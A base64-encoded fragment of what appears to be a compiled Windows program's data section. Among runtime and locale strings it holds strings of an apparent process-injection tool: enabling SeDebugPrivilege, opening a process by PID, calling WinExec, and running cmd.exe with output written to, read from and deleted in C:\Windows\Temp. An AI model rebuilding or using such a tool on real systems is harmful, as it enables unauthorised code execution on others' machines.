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WBwEAKi/AwCAvwMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAMC/AwAAAAAAAAAAAOC/AwBYvwMAeMgDAAAAAAAAAAAAAAAAAAAAAAAAAAAAWBwEAAIAAAAAAAAA/////wAAAABAAAAAqL8DAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAIAcBAAwwAMACMADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAABIwAMAAAAAAAAAAABowAMAWL8DAHjIAwAAAAAAAAAAAAAAAAAAAAAAAAAAAIAcBAACAAAAAAAAAP////8AAAAAQAAAADDAAwAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAgHgQAuMADAJDAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAA0MADAAAAAAAAAAAA6MADABDBAwAAAAAAAAAAAAAAAAAAAAAAIB4EAAEAAAAAAAAA/////wAAAABAAAAAuMADAAAAAAAAAAAAAAAAAEgeBAAAAAAACAAAAP////8AAAAAQAAAADjBAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAABQwQMAAAAAAAAAAABgwQMAAAAAAAAAAAAAAAAASB4EAAAAAAAAAAAA/////wAAAABAAAAAOMEDAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAHAeBACwwQMAiMEDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAADIwQMAAAAAAAAAAADowQMA6MADABDBAwAAAAAAAAAAAAAAAAAAAAAAAAAAAHAeBAACAAAAAAAAAP////8AAAAAQAAAALDBAwAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAACwHgQAOMIDABDCAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAUMIDAAAAAAAAAAAAYMIDAAAAAAAAAAAAAAAAALAeBAAAAAAAAAAAAP////8AAAAAQAAAADjCAwAAAAAAAAAAAAAAAABwHgQAAgAAAAAAAAAAAAAABAAAAFAAAACwwQMAAAAAAAAAAAAAAAAAIB4EAAEAAAAAAAAAAAAAAAQAAABAAAAAuMADAAAAAAAAAAAAAAAAAEgeBAAAAAAACAAAAAAAAAAEAAAAQAAAADjBAwAAAAAAAAAAAAAAAAABAAAAEAAAAAQAAAAAHwQAKMMDAADDAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAQMMDAAAAAAAAAAAAaMMDAIjCAwCwwgMA2MIDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfBAADAAAAAAAAAP////8AAAAAQAAAACjDAwAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABQHwQAuMMDAJDDAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAA0MMDAAAAAAAAAAAA6MMDAGDCAwAAAAAAAAAAAAAAAAAAAAAAUB8EAAEAAAAAAAAA/////wAAAABAAAAAuMMDAAAAAAAAAAAAAAAAAAAAAAABAAAABAAAACjEAwAAAAAAAAAAAFDEAwAIygMAyMgDADDJAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACYHwQAAwAAAAAAAAD/////AAAAAEAAAAAQxAMAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAwB8EAKDEAwB4xAMAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAABQAAALjEAwAAAAAAAAAAAOjEAwBQxAMACMoDAMjIAwAwyQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAfBAAEAAAAAAAAAP////8AAAAAQAAAAKDEAwAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAD4HwQAOMUDABDFAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAEAAAAUMUDAAAAAAAAAAAAeMUDAAjKAwDIyAMAMMkDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPgfBAADAAAAAAAAAP////8AAAAAQAAAADjFAwAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAoIAQAyMUDAKDFAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4MUDAAAAAAAAAAAA8MUDAAAAAAAAAAAAAAAAACggBAAAAAAAAAAAAP////8AAAAAQAAAAMjFAwAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAACoHAQAQMYDABjGAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAWMYDAAAAAAAAAAAAcMYDAHjIAwAAAAAAAAAAAAAAAAAAAAAAqBwEAAEAAAAAAAAA/////wAAAABAAAAAQMYDAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAMgdBACoygMAmMYDAAAAAAAAAAAAAAAAAAAAAADIzQMA8MgDAHjIAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAjHAwBAywMAMMgDAHjIAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQHQQAAwAAAAAAAAD/////AAAAAEAAAADwzQMAAAAAAAAAAAAAAAAAAAAAAAEAAAAFAAAAeMoDAAAAAAAAAAAAAM0DAAjKAwDIyAMAMMkDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAdBABgzgMAcMcDAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAACgHQQAGMkDAJjHAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAACM4DAAAAAAAAAAAAeB0EAAEAAAAAAAAA/////wAAAABAAAAAaMsDAAAAAAAAAAAAAAAAAPDIAwB4yAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAJDNAwAAAAAAAAAAAAAdBAABAAAAAAAAAP////8AAAAAQAAAAGDOAwAAAAAAAAAAAAAAAABAywMAMMgDAHjIAwAAAAAAAAAAAAAAAAAAAAAAAAAAAMgdBAAAAAAAAAAAAP////8AAAAAQAAAAKjKAwAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAABQHQQA8M0DAKDIAwAAAAAAAAAAAAAAAAAAAAAAoCAEAAAAAAAAAAAA/////wAAAABAAAAAwMcDAAAAAAAAAAAAAAAAACgdBAABAAAAAAAAAP////8AAAAAQAAAACjMAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAABYyAMAAAAAAAAAAADIIAQAAAAAAAgAAAD/////AAAAAEAAAAAYyAMAAAAAAAAAAAAAAAAA2McDAHjIAwAAAAAAAAAAAAAAAAAAAAAAeMgDAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAANAcBABgygMAgMkDAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAD4IAQAgMwDAKjJAwAAAAAAAAAAAAAAAAAAAAAA4M4DAAAAAAAAAAAAAAAAAPggBAABAAAAAAAAAP////8AAAAAQAAAAIDMAwAAAAAAAAAAAAAAAACAIQQAAgAAAAAAAAD/////AAAAAEAAAAAQywMAAAAAAAAAAAAAAAAAwMoDAAjHAwBAywMAMMgDAHjIAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAMMoDAAAAAAAAAAAAoM0DACjNAwAIygMAyMgDADDJAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAcMkDAAAAAAAAAAAA0BwEAAQAAAAAAAAA/////wAAAABAAAAAYMoDAAAAAAAAAAAAAAAAAFDNAwAIygMAyMgDADDJAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAMAAAAYzgMAAAAAAAAAAAAAAAAAAQAAAAQAAAB4zgMAAAAAAAAAAACgHQQAAgAAAAAAAAD/////AAAAAEAAAAAYyQMAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAWMkDAAAAAAAAAAAAAAAAAAAAAAABAAAA0MkDAAAAAAAAAAAAAQAAAAAAAAAAAAAAKB0EACjMAwCYywMAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAHgdBABoywMAwMsDAAAAAAAAAAAAAAAAAAAAAADIIAQAAAAAAAAAAAD/////AAAAAEAAAAAYyAMAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAwMYDAAAAAAAAAAAAAAAAAAAAAAACAAAAAMgDAAAAAAAAAAAAAQAAAAAAAAAAAAAAoCAEAMDHAwBAzAMAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAABAAAAOjKAwAAAAAAAAAAAAAAAAAAAAAAAgAAAHjNAwAAAAAAAAAAAAEAAAAAAAAAAAAAADAhBABozAMAmMwDAAAAAAAAAAAAAAAAAAAAAAAwyAMAeMgDAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAADwHQQAEMwDANjMAwAAAAAAAAAAAAAAAAAAAAAAsCEEAAMAAAAAAAAA/////wAAAABAAAAAyM4DAAAAAAAAAAAAAAAAAFghBAADAAAAAAAAAP////8AAAAAQAAAACjLAwAAAAAAAAAAAAAAAAAwIQQAAwAAAAAAAAD/////AAAAAEAAAABozAMAAAAAAAAAAAAAAAAA4MkDAODOAwAAAAAAAAAAAAAAAAAAAAAA6MsDAAAAAAAAAAAAAAAAAHggBAAEAAAAAAAAAP////8AAAAAQAAAADDHAwAAAAAAAAAAAAAAAADwHQQAAgAAAAAAAAD/////AAAAAEAAAAAQzAMAAAAAAAAAAA